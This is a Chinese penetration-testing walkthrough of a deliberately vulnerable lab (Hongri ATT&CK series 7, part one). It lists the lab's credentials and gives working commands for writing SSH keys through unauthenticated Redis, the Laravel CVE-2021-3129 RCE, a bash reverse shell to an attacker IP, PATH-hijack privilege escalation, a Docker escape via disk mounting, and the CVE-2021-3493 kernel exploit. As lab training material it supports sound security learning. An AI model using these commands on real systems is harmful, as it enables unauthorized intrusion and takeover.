红日ATT&CK实战系列七(上)

admin 2024年1月16日17:50:18评论52 views字数 3885阅读12分57秒阅读模式

免责声明:涉及到的所有技术和工具仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透,否则产生的一切后果自行承担!

环境搭建

环境下载  

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

网络配置  

VM新增虚拟网卡VMnet8、VMnet14。

DMZ区网络环境:桥接模式,IP段为192.168.43.0/24

第二层网络环境:VMnet8为NAT模式,IP段为192.168.52.0/24;

第三层网络环境:VMnet14为仅主机模式,IP段为192.168.93.0/24

二层、三层无法出网,一层能出网

VMnet14设为仅主机模式这样三层网络中的主机不能为外网通信减少被攻击的可能    

红日ATT&CK实战系列七(上)    

红日ATT&CK实战系列七(上)

以下为拓扑图,可以按照拓扑进行环境搭建:

红日ATT&CK实战系列七(上)

DMZ区域:

web1机器配置双网卡,桥接对外提供服务,VMnet8(net)连接第二层网络

第二层网络区域:    

web2和PC1都配置双网卡,VMnet8(net)连接第二层网络,VMnet14(仅主机)连接第三层网络

第三层网络区域:

win server 2012 单网卡,VMnet14(仅主机)连接第三层网络

PC2 单网卡,VMnet14(仅主机)连接第三层网络

服务配置  

靶机需要运行着才能攻击,关闭靶机再次启动各项服务需要重新启动

域用户账户和密码如下:   

Administrator:Whoami2021               whoami:Whoami2021               bunny:Bunny2021               moretz:Moretz2021            Ubuntu 1:   web:web2021            Ubuntu 2:   ubuntu:ubuntu            通达OA账户:              admin:admin657260    

DMZ区的Ubuntu需要启动Nginx和Redis服务:  

注意:服务开启需要root权限

redis-server /etc/redis.conf            /usr/sbin/nginx -c /etc/nginx/nginx.conf            iptables -F

红日ATT&CK实战系列七(上)    

红日ATT&CK实战系列七(上)

第二层网络的Ubuntu需要启动Docker容器:  

注意:服务开启需要root权限

sudo service docker start            sudo docker start 83172820ac78

红日ATT&CK实战系列七(上)

第三层网络的Windows7(PC-1)需要启动通达OA:  

注意:启动通达OA要管理员密码,这里还要注意一点,修改系统时间,先将靶机修改为合格时间2021年3月左右

通达OA地址:C:MYOAbinAutoConfig.exe    

红日ATT&CK实战系列七(上)

信息收集

1、寻找靶机ip:  

扫描kali的内网设备,寻找靶机IP地址

netdiscover -r 192.168.43.0/24    

红日ATT&CK实战系列七(上)

192.168.43.40为本机IP,所以目标web机器IP地址为192.168.43.216

2、端口扫描:  

nmap -A 192.168.43.216 -p-    

红日ATT&CK实战系列七(上)

有80、81 nginx服务 然后6379 redis数据库,我们先从80、81端口下手

访问80端口,发现为404

红日ATT&CK实战系列七(上)

访问81端口,发现是Laravel框架且版本是Laravel v8.29.0 (PHP v7.4.14),Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构    

红日ATT&CK实战系列七(上)

搜索该框架是否存在历史漏洞,发现存在远程代码执行

Laravel <= 8.4.2,当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

渗透测试

1、redis未授权  

由于之前扫描到6379端口redis服务的开放,所以开始尝试使用redis未授权

redis-cli -h 192.168.43.216    

红日ATT&CK实战系列七(上)

可以看到直接连接上了,那就简单了,可以直接往目标主机写入ssh公钥。

首先在攻击机kali生成ssh公钥:

ssh-keygen -t rsa

红日ATT&CK实战系列七(上)

然后将公钥导入到redis_rsa.txt文件(前后用n换行,避免和Redis里其他缓存数据混合),再把redis_rsa.txt文件内容写入目标主机的redis缓冲里:

(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > redis_rsa.txt            cat redis_rsa.txt | redis-cli -h 192.168.43.216 -p 6379 -x set redis_rsa            // -x 代表从标准输入读取数据作为该命令的最后一个参数

红日ATT&CK实战系列七(上)

然后使用攻击机kali连接目标机器redis,分别执行下面的命令将SSH公钥写入目标机器

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/            config set dbfilename authorized_keys # 设置保存文件名为auth...            save    # 将数据保存在目标服务器硬盘上

红日ATT&CK实战系列七(上)

写入后尝试连接目标机器的ssh

ssh 192.168.43.216    

红日ATT&CK实战系列七(上)

成功连接目标主机,查看目标ip信息    

红日ATT&CK实战系列七(上)

发现了目标除了桥接的网卡之外,还有另一个内网ip段“192.168.52.0/24”

系统发行版本为Ubuntu 18.04.5    

红日ATT&CK实战系列七(上)

查看 /home 下的文件发现有web目录

cd /etc/nginx/conf.d

发现目录下有两个配置文件分别为80端口和81端口的配置文件,80是404报错所以查看81,发现81端口进行了反向代理    

红日ATT&CK实战系列七(上)

访问81端口,发现为laravel框架,网上查该框架的历史漏洞

2、远程代码执行漏洞  

该框架存在远程代码执行,可以通过exp利用,生成shell,在网上找exp,下面为小智使用的工具地址

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

红日ATT&CK实战系列七(上)

使用哥斯拉2.92版本可以直接连接(高版本加密方式不同连接会失败)

红日ATT&CK实战系列七(上)

连接shell后发现是docker容器    

红日ATT&CK实战系列七(上)

向kali反弹shell

kali开启监听:

nc -lvvp 5566

反弹shell:

bash -c 'exec bash -i &>/dev/tcp/192.168.43.177/5566<&1'

红日ATT&CK实战系列七(上)    

红日ATT&CK实战系列七(上)

反弹shell成功,接下来进行提权

一、提权  

首先查找高权限文件,也就是可以进行root操作的权限

使用find命令搜索SUID或4000权限的文件

find / -perm -u=s -type f 2>/dev/null    

红日ATT&CK实战系列七(上)

这里查完就可以知道home/jobs/shell是以root权限运行的

这里使用环境变量劫持来进行提权

先写一个恶意的ps,里面进入shell命令行,修改环境变量,让shell找ps的时候找恶意ps

cd /tmp            echo "/bin/bash" > ps            chmod 777 ps            echo $PATH            export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序            cd /home/jobs            ./shell

红日ATT&CK实战系列七(上)

成功提升为root权限

将其改为tty的交互式

python -c 'import pty; pty.spawn("/bin/bash")'

这里就实现了www用户到root用户的权限提升,因为目前处于docker环境下,所以需要进行docker逃逸    

二、docker逃逸  

特权模式于版本0.6被引入docker,允许容器内的root拥有外部物理机root的权限,而此前容器内root用户拥有外部物理机普通用户权限

首先我们在docker中新建一个/hi目录用来挂载文件

mkdir /hi

尝试将/dev/sda1挂载到hi目录

mount /dev/sda1 /hi

红日ATT&CK实战系列七(上)在刚才获取的web1主机上生成一个ssh密钥    

接下来将我们生成的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中,可以使用密钥登录改机器

ssh-keygen -f hi

红日ATT&CK实战系列七(上)

chmod 600 hi

红日ATT&CK实战系列七(上)

将hi.hub中的密钥写入/hi/home/ubuntu/.ssh/authorized_keys中

cp -avx /hi/home/ubuntu/.ssh/id_rsa.pub /hi/home/ubuntu/.ssh/authorized_keys            echo > /hi/home/ubuntu/.ssh/authorized_keys            echo '生成的.pub文件的内容' > /hi/home/ubuntu/.ssh/authorized_keys

写入后使用ssh连接web2(反向代理那台机器)

ssh -i hi ubuntu@192.168.52.20

利用web1上的hi密钥进行登录(这里的提示要选择yes)    

红日ATT&CK实战系列七(上)

发现登录上的为ubuntu用户,首先进行信息收集,发现存在93网段    

红日ATT&CK实战系列七(上)

查看版本信息

uname -a

红日ATT&CK实战系列七(上)

发现版本为ubuntu14.04版本,此版本存在CVE-2021-3493漏洞

该漏洞影响版本:

Ubuntu 20.10      Ubuntu 20.04 LTS      Ubuntu18.04 LTS            Ubuntu 16.04 LTS   Ubuntu 14.04 ESMLinux内核版本 < 5.11

首先建立一个exploit.c文件,将脚本内容粘贴进行,然后编译运行即可获取权限

vim exploit.c            gcc exploit.c -o exploit            chmod +x exploit            ./exploit    

红日ATT&CK实战系列七(上)

成功拿到bash权限

下一篇我们继续,接下来上线msf攻击内网  

原文始发于微信公众号(智检安全):红日ATT&CK实战系列七(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月16日17:50:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红日ATT&CK实战系列七(上)https://cn-sec.com/archives/2399219.html

发表评论

匿名网友 填写信息